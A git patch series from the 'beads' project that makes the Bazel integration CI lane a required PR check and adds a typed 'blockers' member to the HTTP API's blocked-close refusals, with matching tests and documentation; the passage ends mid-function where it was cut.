From 7a21446e6c78461e70a05d50ac2820eb49d5bf10 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 30 Sep 2026 23:56:33 -0700 Subject: [PATCH 001/325] ci(bazel): require the integration lane on same-repo PRs (#7069) pr.yml's bazel.yml call now passes integration: "on", and its ci-gate requires BAZEL_INTEGRATION (bazel-integration's job.status output, a missing result reading as skipped). The lane stays remote-only: bazel-gate.sh allows it to skip in modes local (fork and Dependabot PRs, until the farm has a read-only cache for them) and skip, never in remote. bazel-farm.yml's advisory call runs it too. The integration test step gets 45 minutes (job 55) for cold PR compiles; the policy test keeps it at or above a 20-minute cold compile plus .bazelrc's test:integration --test_timeout (the 1200s per-action cap). The integration input (default "on") stays for callers that want the lane off; pr.yml's call inputs are pinned, and the gate simulation now covers the lane skipped, failed and cancelled in each mode. Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/bazel-gate.sh | 7 +-- .github/workflows/bazel-farm.yml | 11 ++--- .github/workflows/bazel.yml | 54 +++++++++++++---------- .github/workflows/pr.yml | 19 ++++---- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 36 ++++++++++----- scripts/bazel_farm_workflow_test.go | 2 +- scripts/ci_workflow_test.go | 63 +++++++++++++++++++-------- 7 files changed, 123 insertions(+), 69 deletions(-) diff --git a/.github/scripts/bazel-gate.sh b/.github/scripts/bazel-gate.sh index 29f8c24a5..3891d654d 100755 --- a/.github/scripts/bazel-gate.sh +++ b/.github/scripts/bazel-gate.sh @@ -8,7 +8,8 @@ # in this mode, for CI_GATE_SKIPPED_OK: # skip: every lane and the aggregate (BAZEL) # local: the remote-only BAZEL_EMBEDDED, -# BAZEL_PROXIED, BAZEL_SERVER_STORAGE +# BAZEL_INTEGRATION, BAZEL_PROXIED, +# BAZEL_SERVER_STORAGE # remote: none # bazel-gate.sh aggregate the value to gate on for BAZEL: the call's # aggregate result, or, when the mode is missing @@ -36,8 +37,8 @@ case "${1:-}" in skips=() if [[ "$valid" == true ]]; then case "$mode" in - skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; - local) skips+=(BAZEL_EMBEDDED BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + local) skips+=(BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; esac fi echo "${skips[*]-}" diff --git a/.github/workflows/bazel-farm.yml b/.github/workflows/bazel-farm.yml index 82d423c65..3604ca2ea 100644 --- a/.github/workflows/bazel-farm.yml +++ b/.github/workflows/bazel-farm.yml @@ -8,10 +8,11 @@ # # ADVISORY. pr.yml is unchanged: every fork PR, listed or not, still runs the # local Bazel lanes inside the enforced `CI Gate / Required`. This run adds a -# fast remote signal, including the remote-only embedded, proxied-server and -# server-storage tiers, that no required check and no privileged workflow -# reads. Making it authoritative needs a trusted reporter; see -# engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork PRs". +# fast remote signal, including the remote-only embedded, integration, +# proxied-server and server-storage tiers, that no required check and no +# privileged workflow reads. Making it authoritative needs a trusted +# reporter; see engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork +# PRs". # # SECURITY MODEL (policy-tested in scripts/ci_workflow_test.go, # TestBazelFarmWorkflowSecurity; threat model in the engdoc): @@ -128,5 +129,5 @@ jobs: with: checkout-sha: ${{ github.event.pull_request.head.sha }} fork-farm: authorized - integration: "off" + integration: "on" build-artifact-name: bazel-farm-build-artifacts diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index c26cb1967..a587814c4 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -10,16 +10,19 @@ # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate # requires the call's aggregate result (BAZEL) and bazel-test, bazel-pure, -# bazel-embedded, bazel-doltserver, bazel-proxied and bazel-server-storage -# (BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, BAZEL_DOLTSERVER, BAZEL_PROXIED, -# BAZEL_SERVER_STORAGE); .github/scripts/bazel-gate.sh turns the rbe job's -# rbe-mode output into the skips it accepts, so a lane skipped by its `if:` -# below passes and one that should have run and failed, was cancelled or -# reported nothing fails the gate. bazel-integration is not part of the PR -# call (pr.yml passes integration: "off"): its legacy counterparts, main.yml's -# integration jobs, run only on push to main, so it runs on push to main, -# dispatch and nightly, like them. Direct runs (push to main, -# workflow_dispatch, nightly.yml's call) gate nothing. +# bazel-embedded, bazel-integration, bazel-doltserver, bazel-proxied and +# bazel-server-storage (BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, +# BAZEL_INTEGRATION, BAZEL_DOLTSERVER, BAZEL_PROXIED, BAZEL_SERVER_STORAGE); +# .github/scripts/bazel-gate.sh turns the rbe job's rbe-mode output into the +# skips it accepts, so a lane skipped by its `if:` below passes and one that +# should have run and failed, was cancelled or reported nothing fails the +# gate. bazel-integration runs in the PR call (pr.yml passes integration: +# "on") although its legacy counterparts, main.yml's integration jobs, run +# only on push to main: remotely it is minutes, and it catches on the PR what +# main.yml would catch after the merge. Like every remote-only lane it skips +# for fork and Dependabot PRs (mode local); forks get it once the farm has a +# read-only cache for them. Direct runs (push to main, workflow_dispatch, +# nightly.yml's call) gate nothing. # # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to @@ -130,8 +133,8 @@ on: # test would silently stop the lane on main. integration: description: > - "off" skips bazel-integration (pr.yml: its legacy counterparts do - not run on PRs); anything else runs it where remote execution is on. + "off" skips bazel-integration; anything else (pr.yml and + bazel-farm.yml pass "on") runs it where remote execution is on. type: string required: false default: "on" @@ -192,7 +195,7 @@ on: description: "bazel-embedded's job.status" value: ${{ jobs.bazel-embedded.outputs.result }} bazel-integration: - description: "bazel-integration's job.status (empty in pr.yml's call, which turns the lane off)" + description: "bazel-integration's job.status" value: ${{ jobs.bazel-integration.outputs.result }} bazel-doltserver: description: "bazel-doltserver's job.status" @@ -737,17 +740,19 @@ jobs: # selection (go list without the integration tag, -short, ^TestEmbedded # skipped), and its job mode needs the integration jobs' go test -json, # which no run here has. check_testcases.py still catches a target or - # shard that ran no tests. + # shard that ran no tests. pr.yml's gate requires it (BAZEL_INTEGRATION) + # on same-repo PRs; see the header. bazel-integration: - name: integration (advisory) + name: integration # Remote execution only, like bazel-embedded: locally the tagged race # build of //... plus 14 jobs' worth of tests on one runner is well over - # the timeout, for tests main.yml's integration jobs already run. Off in - # pr.yml's call (integration: "off"), as those jobs are off on PRs. + # the timeout, for tests main.yml's integration jobs already run. A + # caller may turn it off with integration: "off"; pr.yml and + # bazel-farm.yml pass "on". needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }} - timeout-minutes: 40 + timeout-minutes: 55 outputs: result: ${{ steps.result.outputs.result }} steps: @@ -770,11 +775,13 @@ jobs: RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} - # Remote: a cold compile plus the longest test action (1200s cap, see - # .bazelrc) fits well inside 30 minutes. + # Remote: a cold compile (a PR touching a widely imported package; the + # first cold run took 17 minutes end to end, warm ones ~3.5) plus the + # longest test action (1200s cap, see .bazelrc) if it starts last. + # scripts/ci_workflow_test.go keeps this at or above that sum. - name: bazel test //... --config=integration id: test - timeout-minutes: 30 + timeout-minutes: 45 run: | set -o pipefail start=$(date +%s) @@ -803,8 +810,9 @@ jobs: if-no-files-found: ignore retention-days: 7 - # Last step: the job's result as a workflow_call output (for - # symmetry; pr.yml's call turns this lane off). + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. - name: Record job result id: result if: ${{ always() }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 89de1c2ff..b782fba3f 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1764,10 +1764,11 @@ jobs: # this call is its only PR run. It gets the four RBE secrets and nothing # else; its rbe job decides remote, local (forks, Dependabot: no # remote-only lanes) or skip, and exports that for ci-gate. Its - # bazel-integration lane is off here (main.yml's integration jobs, its - # legacy counterpart, run only on push to main; bazel.yml runs it there). - # Its bd artifact is renamed so it cannot collide with build-artifacts' - # upload. + # bazel-integration lane (main.yml's integration jobs, which run only on + # push to main) is on and required here, remote only: same-repo PRs run + # it, fork and Dependabot PRs (mode local) skip it until the farm has a + # read-only cache for them. Its bd artifact is renamed so it cannot + # collide with build-artifacts' upload. bazel: name: Bazel permissions: @@ -1780,7 +1781,7 @@ jobs: RBE_TLS_CA: ${{ secrets.RBE_TLS_CA }} with: build-artifact-name: bazel-ci-build-artifacts - integration: "off" + integration: "on" ci-gate: name: CI Gate / Required @@ -1845,6 +1846,7 @@ jobs: BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED + BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE @@ -1877,6 +1879,7 @@ jobs: BAZEL_TEST: ${{ needs.bazel.outputs.bazel-test || 'skipped' }} BAZEL_PURE: ${{ needs.bazel.outputs.bazel-pure || 'skipped' }} BAZEL_EMBEDDED: ${{ needs.bazel.outputs.bazel-embedded || 'skipped' }} + BAZEL_INTEGRATION: ${{ needs.bazel.outputs.bazel-integration || 'skipped' }} BAZEL_DOLTSERVER: ${{ needs.bazel.outputs.bazel-doltserver || 'skipped' }} BAZEL_PROXIED: ${{ needs.bazel.outputs.bazel-proxied || 'skipped' }} BAZEL_SERVER_STORAGE: ${{ needs.bazel.outputs.bazel-server-storage || 'skipped' }} @@ -1892,9 +1895,9 @@ jobs: skipped_ok="CHECK_NO_BEADS_CHANGES" fi # Bazel lanes skipped by design in the call's execution mode (all - # of them in mode skip, the remote-only embedded, proxied and - # server-storage tiers in mode local), and the aggregate unless the - # mode is missing or invalid. + # of them in mode skip, the remote-only embedded, integration, + # proxied and server-storage tiers in mode local), and the + # aggregate unless the mode is missing or invalid. skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 9631fce50..c596e485a 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -47,20 +47,32 @@ Current PR-related workflow names: exports it as the `rbe-mode` / `rbe-enabled` outputs; every lane exports its `job.status` as an output named after the job. `pr.yml`'s gate requires the call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, - `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in `pr.yml` - and `pr-risk.yml`. + `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and + `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in + `pr.yml` and `pr-risk.yml`. `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable or the fork flag: mode `skip` allows every Bazel id to skip, mode `local` - allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and - `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on `pr-risk.yml`'s - legacy tiers for those), and mode `remote` allows none. + allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, + `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on + `pr-risk.yml`'s legacy tiers for the embedded, proxied and server-storage + tiers), and mode `remote` allows none. A lane that should run and fails, is cancelled, or reports no result fails the gate, and so does a missing or invalid mode. - `bazel-integration` is not part of the PR call (`pr.yml` passes - `integration: "off"`) and has no gate id: its legacy counterparts - (`main.yml`'s integration jobs) run only on push to `main`, and so does it - (plus dispatch and nightly). `scripts/ci_workflow_test.go` fails when a new - `bazel.yml` job has neither a gate id nor an advisory entry. + `bazel-integration` (`bazel test //... --config=integration`, the Bazel + twin of `main.yml`'s Linux integration shards) is required on same-repo + PRs: `pr.yml` passes `integration: "on"` (policy-pinned), so in mode + `remote` it runs, and a failure, cancellation or missing result turns the + gate red. Its legacy twins still run only on push to `main`, so this lane + is the only PR-time run of the full integration-tagged suite. Fork and + Dependabot PRs (mode `local`) skip it, with no legacy fallback on the PR: + they get integration coverage only after merge, from `main.yml`. Running it + for forks waits on a read-only remote cache they may use; that change is + making the lane local-capable for forks in `bazel.yml` and dropping + `BAZEL_INTEGRATION` from `bazel-gate.sh`'s mode-`local` skips. Its step + timeout (45 minutes) covers a cold compile plus the 1200 s per-action cap + (policy-tested against `.bazelrc`); warm runs take about 3.5 minutes. + `scripts/ci_workflow_test.go` fails when a new `bazel.yml` job has neither + a gate id nor an advisory entry. Runbook: if `main`'s Bazel BUILD files drift (every PR's Bazel lanes go red, and autofix only patches packages the PR itself changed), the RBE farm is down, or the beads CI RBE client certificate expires (about @@ -152,7 +164,7 @@ fork PRs are unchanged. - `farm` job: calls `bazel.yml` only when `authorize` allowed it, with `contents: read`, exactly the four RBE secrets, `checkout-sha` = `github.event.pull_request.head.sha`, `fork-farm: authorized`, and - `integration: "off"`. `bazel.yml` checks out that SHA in every lane with + `integration: "on"`. `bazel.yml` checks out that SHA in every lane with `persist-credentials: false`. actions/checkout v7 refuses to check out a fork PR's head on `pull_request_target` unless `allow-unsafe-pr-checkout` is true. Each lane sets that input to @@ -170,7 +182,7 @@ fork PRs are unchanged. - Gate: advisory. `pr.yml` is unchanged. Every fork PR, listed or not, still runs the local Bazel lanes inside the enforced `CI Gate / Required`, and the farm run adds a faster signal that also covers the remote-only - embedded, proxied-server and server-storage tiers. + embedded, integration, proxied-server and server-storage tiers. - Policy tests: `scripts/bazel_farm_workflow_test.go` pins the trigger, both jobs' conditions, the allowlist source, the pinned checkout, the permissions, where secrets appear, and that no expression is interpolated diff --git a/scripts/bazel_farm_workflow_test.go b/scripts/bazel_farm_workflow_test.go index cac18fa1a..ea9cc1269 100644 --- a/scripts/bazel_farm_workflow_test.go +++ b/scripts/bazel_farm_workflow_test.go @@ -215,7 +215,7 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { wantWith := map[string]string{ "checkout-sha": "${{ github.event.pull_request.head.sha }}", "fork-farm": "authorized", - "integration": "off", + "integration": "on", "build-artifact-name": "bazel-farm-build-artifacts", } if !reflect.DeepEqual(farm.With, wantWith) { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 71d7b027b..b3dbe74d2 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1745,23 +1745,31 @@ var bazelLaneGateIDs = map[string]string{ // pr-risk.yml's legacy jobs, like the embedded tier's). bazelProxiedJobName: "BAZEL_PROXIED", bazelServerJobName: "BAZEL_SERVER_STORAGE", + // main.yml's integration jobs, required on same-repo PRs although their + // legacy twins run only on push to main. Remote-only: fork and + // Dependabot PRs skip it until the farm has a read-only cache for them + // (then it becomes local-capable for forks, here and in bazel-gate.sh). + bazelIntegJobName: "BAZEL_INTEGRATION", } -var bazelAdvisoryLanes = map[string]string{ - bazelIntegJobName: "its legacy counterparts, main.yml's integration jobs, run only on push to main", -} +// None today: every lane is gated. Kept so a future lane that pr.yml's call +// turns off has a place to record why. +var bazelAdvisoryLanes = map[string]string{} -// bazel-integration's if: remote only, and off when the caller passes -// integration: "off" (pr.yml). A string input: on push and dispatch it is -// null, and null != 'off', so the lane keeps running on main. +// bazel-integration's if: remote only, and off when a caller passes +// integration: "off" (pr.yml and bazel-farm.yml pass "on"). A string input: +// on push and dispatch it is null, and null != 'off', so the lane keeps +// running on main. const bazelIntegIf = "${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }}" // pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe // override would put every PR in local mode and ungate the embedded tier -// while the gate stays self-consistent. +// while the gate stays self-consistent; integration: "off" would drop the +// required integration lane (explicit "on", so the pin and the gate +// simulation, which reads these inputs, do not depend on the default). var bazelPRCallWith = map[string]string{ "build-artifact-name": "bazel-ci-build-artifacts", - "integration": "off", + "integration": "on", } // The call's aggregate result (needs.bazel.result, through bazel-gate.sh). @@ -2259,9 +2267,10 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo // The gate over every execution mode (review D1 F3): the skip script allows // exactly the skips the lanes' own `if:`s produce in that mode, and for every // lane that should run, that lane alone skipped, failed or cancelled turns -// pr.yml's actual gate step red, whatever the aggregate says. The advisory -// integration lane's failure alone keeps it green; a missing or inconsistent -// mode, or an aggregate failure no lane explains, turns it red. +// pr.yml's actual gate step red, whatever the aggregate says (in mode remote +// that includes the integration lane, which skips green in mode local); a +// missing or inconsistent mode, or an aggregate failure no lane explains, +// turns it red. func TestBazelGateSimulation(t *testing.T) { requireHostTool(t, "bash") root := sourceRepoRoot(t) @@ -3003,12 +3012,32 @@ func bazelRuleBlock(build, name string) string { func TestBazelIntegrationJob(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) job := workflow.job(t, bazelIntegJobName) - if job.TimeoutMinutes > 45 { - t.Errorf("%s timeout-minutes = %d; it runs remotely only, keep it near the step's 30", bazelIntegJobName, job.TimeoutMinutes) - } test := job.step(t, "bazel test //... --config=integration") - if test.TimeoutMinutes == 0 || test.TimeoutMinutes >= job.TimeoutMinutes { - t.Errorf("%s test step timeout-minutes = %d, want set and below the job's %d", bazelIntegJobName, test.TimeoutMinutes, job.TimeoutMinutes) + // A required PR lane: the step must fit a cold compile (the first + // GitHub run took 17 minutes end to end) followed by the longest test + // action, which .bazelrc caps at its test:integration --test_timeout + // (rbe-west's 1200s limit). The job adds setup and log upload, but + // stays remote-only short. + const coldCompileMinutes = 20 + actionCapMinutes := 0 + for line := range bazelrcLines(t) { + if v, ok := strings.CutPrefix(line, "test:integration --test_timeout="); ok { + secs, err := strconv.Atoi(v) + if err != nil || secs <= 0 || secs > 1200 { + t.Fatalf(".bazelrc test:integration --test_timeout=%s, want one value of at most 1200 (rbe-west's cap)", v) + } + actionCapMinutes = (secs + 59) / 60 + } + } + if actionCapMinutes == 0 { + t.Fatal(".bazelrc has no test:integration --test_timeout") + } + if want := coldCompileMinutes + actionCapMinutes; test.TimeoutMinutes < want { + t.Errorf("%s test step timeout-minutes = %d, want at least %d (cold compile %d + action cap %d)", + bazelIntegJobName, test.TimeoutMinutes, want, coldCompileMinutes, actionCapMinutes) + } + if job.TimeoutMinutes <= test.TimeoutMinutes || job.TimeoutMinutes > test.TimeoutMinutes+15 { + t.Errorf("%s timeout-minutes = %d, want above the test step's %d by at most 15", bazelIntegJobName, job.TimeoutMinutes, test.TimeoutMinutes) } cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ") const wantCmd = `bazel test //... --config=integration --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` @@ -3268,7 +3297,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { // pr.yml's gate requires it: bazelLaneGateIDs): not a step of // bazel-doltserver (which also runs locally, and whose job a gate may // require) or of bazel-integration (which a caller may switch off, - // although the server tier is a PR-time tier). + // while the server tier always runs remotely). workflow := readCIWorkflow(t, bazelWorkflowName) for _, c := range []struct{ job, config, logs string }{ {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs"}, From 4caeeffeec2922f948257abf817d615455d763bc Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 00:51:06 -0700 Subject: [PATCH 002/325] feat(serve): name the blockers on a live-blocker not_closable (#6893) * feat(issueops): type the blocked-close refusal as BlockedError Every close-policy blocker refusal was fmt.Errorf("%w: %s is blocked by %v", ErrCloseBlocked, ...), so the blocker list existed only as prose. A caller reporting the refusal elsewhere (the HTTP surface) had to parse it or drop it. issueops.BlockedError carries IssueID, the typed []Blocker (id plus the blocking edge type when known) and the wrapped sentinel. Its message is byte-identical to the historical sentence, so the direct and proxied CLI lines and failed[].error do not move, and errors.Is(ErrCloseBlocked) still matches. The sentinel is a field rather than fixed so other "X is blocked by Y" refusals (e.g. a blocked claim) can reuse the type. The in-transaction guard keeps the edges typed (isBlockedByInTx, with IsBlockedInTx formatting through Blocker.String), and the external guard builds the error from IsBlocked's []string via ParseBlocker, the inverse of that spelling. Co-Authored-By: Claude Opus 5.5 (1M context) * feat(httpapi): name the blockers on a live-blocker not_closable The served close refusal said only "issue is blocked", so an HTTP client could not tell the user what held the close, while bd close on the direct and proxied routes prints "cannot close blocked issue: X is blocked by [Y]". A live-blocker not_closable now carries a `blockers` extension member, [{id, kind: local|external, type?}], read from *issueops.BlockedError's typed list, and a detail that opens with the direct route's sentence built from the same list. It covers issues/{id}:close, per-item issues:batchClose outcomes, PATCH into a done status and issues:batchApply. The code, status and open_children discriminator are unchanged; an error that only mentions blockers in prose keeps the old generic detail and no member. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(issueops): test the external: prefix before the type split in ParseBlocker Maintainer review fixup for #6893. ParseBlocker tried the " (" / ")" split before the external: prefix branch, so it won for any external reference whose capability ends in ")". validateExternalRef (cmd/bd/dep.go) constrains a capability to non-empty only, so `external:remote:pay (beta)` is a legal reference created by the sanctioned `bd dep add` path -- and it parsed to a truncated ID of "external:remote:pay" plus Type "beta", a value outside the documented blocks|waits-for|conditional-blocks vocabulary that falsifies the spec's own promise that an external blocker carries no type. Only the structured half was wrong: the mis-split round-trips through String(), so the prose detail and the CLI sentence stayed byte-identical and the failure was silent on exactly the new `blockers` member this change exists to make trustworthy. Hoisting the prefix test is loss-free -- Blocker.Type's doc comment already states an external reference never carries a reported type. Pin: the ParseBlocker/String table in TestBlockedErrorKeepsTheHistoricalSentence gains the paren-suffixed external row; every external case tabled there was paren-free, which is why this got through. Restoring the old ordering reds the new row. The DeepEqual failure now prints %#v, because Blocker implements String() and the default verbs render got and want identically for precisely this defect. --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 14 +++ ...ve_batch_close_proxied_integration_test.go | 31 +++++++ .../serve_close_proxied_integration_test.go | 71 ++++++++++++++ internal/httpapi/apigen/types.gen.go | 24 ++++- internal/httpapi/batch_apply.go | 4 +- internal/httpapi/batch_apply_test.go | 25 +++++ internal/httpapi/batch_close.go | 10 +- internal/httpapi/batch_close_test.go | 44 +++++++++ internal/httpapi/close.go | 5 +- internal/httpapi/close_test.go | 86 +++++++++++++++++ internal/httpapi/problem.go | 69 +++++++++++++- internal/httpapi/spec/openapi.v0.yaml | 81 +++++++++++++--- internal/httpapi/update.go | 4 +- internal/httpapi/update_test.go | 17 ++++ internal/storage/domain/db/BUILD.bazel | 1 + .../domain/db/close_checked_usecase_test.go | 8 ++ internal/storage/externaldeps/decorator.go | 4 +- .../storage/externaldeps/decorator_test.go | 26 +++++- .../storage/externaldeps/uow_decorator.go | 2 +- .../externaldeps/uow_decorator_test.go | 4 +- internal/storage/issueops/close.go | 5 +- .../storage/issueops/dependency_queries.go | 28 ++++-- issueops/errors.go | 93 +++++++++++++++++++ issueops/issueops_external_test.go | 48 ++++++++++ 24 files changed, 665 insertions(+), 39 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b6ddad044..3e64aadd8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -133,6 +133,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 first. They now accept an optional leading `v`; versions without it are unchanged ([#6152](https://github.com/gastownhall/beads/issues/6152)). +- **`bd serve`'s blocked-close refusal names the blockers.** A `409 + not_closable` for a live blocker — on `issues/{id}:close`, `issues:batchClose` + per-item outcomes, `PATCH issues/{id}` into a done status, and + `issues:batchApply` — said only "issue is blocked", so an HTTP client could + not tell the user what held the close, while `bd close` on the direct and + proxied routes prints `cannot close blocked issue: X is blocked by [Y]`. The + refusal now carries a `blockers` extension member (`[{id, kind, type}]`, + `kind` `local` or `external`, `type` the blocking edge type when known) and a + `detail` that opens with the direct route's sentence. The code, the status + and the `open_children` discriminator are unchanged. The list travels typed + end to end: close refusals are now an `issueops.BlockedError` (still matching + `ErrCloseBlocked`, with a byte-identical message), so the server never parses + prose to build the member and a client can rebuild the same typed error. + - **The #6716 fan-in stall is fixed on the proxied-server route and the remaining store routes.** Two blockers of one dependent taken away at the same time (parallel workers closing both, or a close racing a diff --git a/cmd/bd/serve_batch_close_proxied_integration_test.go b/cmd/bd/serve_batch_close_proxied_integration_test.go index c14259b37..4f1f554b7 100644 --- a/cmd/bd/serve_batch_close_proxied_integration_test.go +++ b/cmd/bd/serve_batch_close_proxied_integration_test.go @@ -192,6 +192,37 @@ func TestProxiedServerServeBatchClose(t *testing.T) { } }) + // The per-item twin of the single close's blocker-naming proof: the refused + // item carries its blockers, and its detail opens with the sentence `bd + // close` records for the same refusal. + t.Run("a blocked item names its blockers as the CLI does", func(t *testing.T) { + blocker := bdProxiedCreate(t, bd, p.dir, "a batch blocker", "-p", "1") + blocked := bdProxiedCreate(t, bd, p.dir, "a blocked batch item", "-p", "1") + if out, err := bdProxiedRun(t, bd, p.dir, "dep", "add", blocked.ID, blocker.ID); err != nil { + t.Fatalf("bd dep add: %v\n%s", err, out) + } + + status, body := sp.batchClose(t, `{"actor":"http-agent","items":[{"id":"`+blocked.ID+`"}]}`) + if status != http.StatusOK { + t.Fatalf("status = %d, want 200: %v", status, body) + } + outcome := batchCloseOutcomes(t, body)[0] + if outcome["code"] != "not_closable" { + t.Fatalf("code = %v, want not_closable: %v", outcome["code"], outcome) + } + got, err := json.Marshal(outcome["blockers"]) + if err != nil { + t.Fatalf("re-encode blockers: %v", err) + } + if want := `[{"id":"` + blocker.ID + `","kind":"local","type":"blocks"}]`; string(got) != want { + t.Errorf("blockers = %s, want %s", got, want) + } + cli := bdProxiedCloseFailedError(t, bd, p.dir, blocked.ID) + if want := cli + "; clear the blocker, or send `force`"; outcome["detail"] != want { + t.Errorf("detail = %q, want the CLI's failed[].error %q plus the HTTP hint", outcome["detail"], cli) + } + }) + // A refused BODY means the batch never ran, which is the other half of the // contract: nothing may be written by a request that earned a problem // document. diff --git a/cmd/bd/serve_close_proxied_integration_test.go b/cmd/bd/serve_close_proxied_integration_test.go index 9bb2d3249..91200ccde 100644 --- a/cmd/bd/serve_close_proxied_integration_test.go +++ b/cmd/bd/serve_close_proxied_integration_test.go @@ -471,9 +471,80 @@ func TestProxiedServerServeClose(t *testing.T) { } }) + // THE BLOCKER-NAMING PROOF, against the CLI's own sentence. A live blocker + // refuses with a `blockers` member read from the refusing check's typed + // list, and `detail` opens with exactly what `bd close` records in + // failed[].error for the same refusal — so an HTTP client can render the + // direct route's message instead of an anonymous "blocked". + t.Run("a live blocker refusal names its blockers as the CLI does", func(t *testing.T) { + blocker := bdProxiedCreate(t, bd, p.dir, "the blocker", "-p", "1") + local := bdProxiedCreate(t, bd, p.dir, "blocked locally", "-p", "1") + if out, err := bdProxiedRun(t, bd, p.dir, "dep", "add", local.ID, blocker.ID); err != nil { + t.Fatalf("bd dep add: %v\n%s", err, out) + } + external := bdProxiedCreate(t, bd, p.dir, "blocked externally", "-p", "1") + const ref = "external:remote:payments" + if out, err := bdProxiedRun(t, bd, p.dir, "dep", "add", external.ID, ref); err != nil { + t.Fatalf("bd dep add external: %v\n%s", err, out) + } + + for _, tc := range []struct { + id string + want string + }{ + {local.ID, `[{"id":"` + blocker.ID + `","kind":"local","type":"blocks"}]`}, + {external.ID, `[{"id":"` + ref + `","kind":"external"}]`}, + } { + status, body := sp.closeIssue(t, tc.id, `{"actor":"http-agent"}`) + if status != http.StatusConflict || body["code"] != "not_closable" { + t.Fatalf("close %s: status = %d code = %v, want 409 not_closable: %v", tc.id, status, body["code"], body) + } + if _, present := body["open_children"]; present { + t.Errorf("close %s: open_children on the blocker refusal: %v", tc.id, body) + } + got, err := json.Marshal(body["blockers"]) + if err != nil { + t.Fatalf("re-encode blockers: %v", err) + } + if string(got) != tc.want { + t.Errorf("close %s: blockers = %s, want %s", tc.id, got, tc.want) + } + + cli := bdProxiedCloseFailedError(t, bd, p.dir, tc.id) + if want := cli + "; clear the blocker or close with force"; body["detail"] != want { + t.Errorf("close %s: detail = %q, want the CLI's failed[].error %q plus the HTTP hint", tc.id, body["detail"], cli) + } + } + }) + sp.shutdown(t) } +// bdProxiedCloseFailedError runs an unforced `bd close --json` of id that must +// be refused and returns the failed[].error it reports for id — the +// route-independent spelling of the refusal (see assertCloseFailedErrorIsTyped). +// A closable companion rides along because the failure report is the +// partial-batch shape: a lone refused id prints no failed[] array. +func bdProxiedCloseFailedError(t *testing.T, bd, dir, id string) string { + t.Helper() + companion := bdProxiedCreate(t, bd, dir, "closable companion", "-p", "2") + stdout, stderr, err := bdProxiedRunBuffers(t, bd, dir, "close", "--json", companion.ID, id) + if err == nil { + t.Fatalf("bd close %s succeeded; it must be 